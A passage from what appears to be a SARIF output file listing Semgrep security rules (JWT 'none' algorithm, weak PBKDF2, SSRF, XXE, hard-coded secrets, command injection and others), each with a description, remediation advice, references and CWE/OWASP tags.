Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.unvalidated-password.unvalidated-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"help":{"markdown":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the `none` algorithm in a JWT token. The `none` algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the `none` algorithm. Instead, use an algorithm such as `HS256`."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-none-alg.jwt-none-alg","id":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","name":"kotlin.java-jwt.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 600K iterations should be used with SHA256"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha256.insufficient-pbkdf2-work-factor-sha256"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"help":{"markdown":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html)\n - [https://www.npmjs.com/package/react-markdown#security](https://www.npmjs.com/package/react-markdown#security)\n","text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","id":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","name":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Outlook Team detected"},"help":{"markdown":"Outlook Team detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Outlook Team detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team","id":"generic.secrets.security.detected-outlook-team.detected-outlook-team","name":"generic.secrets.security.detected-outlook-team.detected-outlook-team","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-outlook-team.detected-outlook-team"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled)\n - [https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/](https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/)\n - [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)\n","text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","id":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","name":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string)\n - [https://bugs.python.org/issue43472](https://bugs.python.org/issue43472)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","id":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","name":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"help":{"markdown":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval)\n - [https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen](https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen)\n","text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval","id":"python.lang.security.audit.logging.listeneval.listen-eval","name":"python.lang.security.audit.logging.listeneval.listen-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.listeneval.listen-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"help":{"markdown":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n","text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","id":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","name":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"help":{"markdown":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n","text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","id":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","name":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","id":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","name":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle","id":"python.lang.security.deserialization.pickle.avoid-cPickle","name":"python.lang.security.deserialization.pickle.avoid-cPickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-cPickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `math/rand`. Use `crypto/rand` instead."},"help":{"markdown":"Do not use `math/rand`. Use `crypto/rand` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation)\n","text":"Do not use `math/rand`. Use `crypto/rand` instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used","id":"go.lang.security.audit.crypto.math_random.math-random-used","name":"go.lang.security.audit.crypto.math_random.math-random-used","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.math_random.math-random-used"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Secret Access Key detected"},"help":{"markdown":"AWS Secret Access Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Secret Access Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","id":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","name":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run)\n - [https://deno.land/manual/examples/subprocess#simple-example](https://deno.land/manual/examples/subprocess#simple-example)\n","text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","id":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","name":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","id":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","name":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","id":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","name":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","id":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","name":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an 